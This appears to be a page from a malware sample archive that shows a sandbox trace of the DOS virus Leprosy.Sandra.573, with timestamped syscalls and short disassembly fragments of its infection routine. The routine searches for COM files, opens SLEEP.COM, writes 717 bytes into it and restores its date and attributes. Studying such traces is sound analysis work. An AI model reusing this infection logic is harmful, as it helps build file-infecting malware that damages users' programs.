Sample viewer

vx.netlux.org/Virus.DOS.Leprosy.Sandra.573

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T23:06:51.980265382Z 44 PC: 12b45 | Get time 0x12b45: cmp byte ptr [0x106], 0
0x12b4a: je 0x12b4c
0x12b4c: cmp dl, 0
0x12b4f: je 0x12b41
0x12b51: mov byte ptr [0x106], dl
0x12b55: mov byte ptr [0x174], 0
0x12b5a: mov byte ptr [0x175], 1
0x12b5f: mov byte ptr [0x17e], 0
0x12b64: mov cx, 0x27
0x12b67: mov dx, 0x151
0x12b6a: mov ah, 0x4e
0x12b6c: int 0x21
0x12b6e: cmp ax, 0x12
0x12b71: je 0x12b76
0x12b73: call 0x12b98
0x12b76: mov cx, 0x27
0x12b79: mov dx, 0x157
0x12b7c: mov ah, 0x4e
0x12b7e: int 0x21
0x12b80: cmp ax, 0x12
2018-12-17T23:06:51.98286724Z 78 PC: 12b6e | Find first file
2018-12-17T23:06:51.989213689Z 78 PC: 12b80 | Find first file
2018-12-17T23:06:51.99562165Z 67 PC: 12bb9 | Get or set file attributes
2018-12-17T23:06:52.015738502Z 61 PC: 12bbf | Open file (Filename = 'SLEEP.COM')
2018-12-17T23:06:52.023513656Z 63 PC: 12bce | Read file or device (Read 20 bytes on handle 5)
2018-12-17T23:06:52.030533121Z 62 PC: 12c02 | Close file
2018-12-17T23:06:52.032619262Z 61 PC: 12c0b | Open file (Filename = 'SLEEP.COM')
2018-12-17T23:06:52.040781773Z 44 PC: 12a59 | Get time 0x12a59: xor dh, dh
0x12a5b: rcr dl, 1
0x12a5d: rcr dl, 1
0x12a5f: mov cx, 0x23d
0x12a62: add cx, dx
0x12a64: sti
0x12a65: mov ah, 0x20
0x12a67: add ah, 0x20
0x12a6a: cli
0x12a6b: mov dx, 0x100
0x12a6e: cli
0x12a6f: int 0x21
0x12a71: nop
0x12a72: call 0x12a77
0x12a75: nop
0x12a76: ret
0x12a77: mov bx, 0x151
0x12a7a: cli
0x12a7b: mov ah, byte ptr [bx]
0x12a7d: cli
2018-12-17T23:06:52.043087787Z 64 PC: 12a71 | Write file or device (Write 717 bytes on handle 5)
2018-12-17T23:06:52.052339161Z 87 PC: 12c33 | Get or set file date and time
2018-12-17T23:06:52.054822608Z 62 PC: 12c3b | Close file
2018-12-17T23:06:52.063396575Z 67 PC: 12c48 | Get or set file attributes